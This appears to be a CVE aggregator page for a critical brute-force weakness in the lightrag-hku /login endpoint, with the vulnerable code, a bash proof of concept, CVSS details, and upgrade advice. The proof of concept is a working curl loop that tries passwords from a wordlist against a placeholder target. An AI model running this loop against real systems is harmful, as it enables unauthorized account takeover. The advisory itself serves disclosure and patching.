Loading...
Skip to main content

CVE-2026-85734 — Vulnerability in lightrag-hku — CVE Details

CRITICAL

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

Published September 22, 2026Updated October 1, 2026Source: osv

Summary

### Summary The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed. ### Details ```python # lightrag/api/lightrag_server.py:2161 @app.post("/login") async def login(form_data: OAuth2PasswordRequestForm = Depends()): if not auth_handler.verify_password(username, form_data.password): raise HTTPException(status_code=401, detail="Incorrect credentials") # No: rate limit / lockout / backoff / CAPTCHA / attempt counter ``` A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results. ### PoC ```bash # Brute-force /login with a wordlist, no throttling while IFS= read -r pass; do code=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST http://<TARGET>:9621/login \ -d "username=admin&password=${pass}") [ "$code" = "200" ] && echo "[FOUND] $pass" && break done < /usr/share/wordlists/rockyou.txt ``` ### Impact Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Advisory Timeline

  • First published September 22, 2026 (20 days ago).
  • Last revised October 1, 2026 — 9 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update lightrag-hku to 1.5.5 or later
pip install "lightrag-hku>=1.5.5"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
lightrag-hku
pypi
0.0.2, 0.0.3, 0.0.4, 0.0.5 (+85 more)1.5.5

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-85734?
lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-85734?
CVE-2026-85734 affects lightrag-hku. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-85734 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-frch-4w6v-q5xx
PYSEC-2026-4062

Related CVEs

  • CVE-2026-61736
    CRITICAL

    LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

  • CVE-2026-61740
    CRITICAL

    LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

  • CVE-2026-61447
    CRITICAL

    PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets

  • CVE-2026-61736
    CRITICAL

    LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

  • CVE-2026-61445
    CRITICAL

    PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls

  • CVE-2026-61740
    CRITICAL

    LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies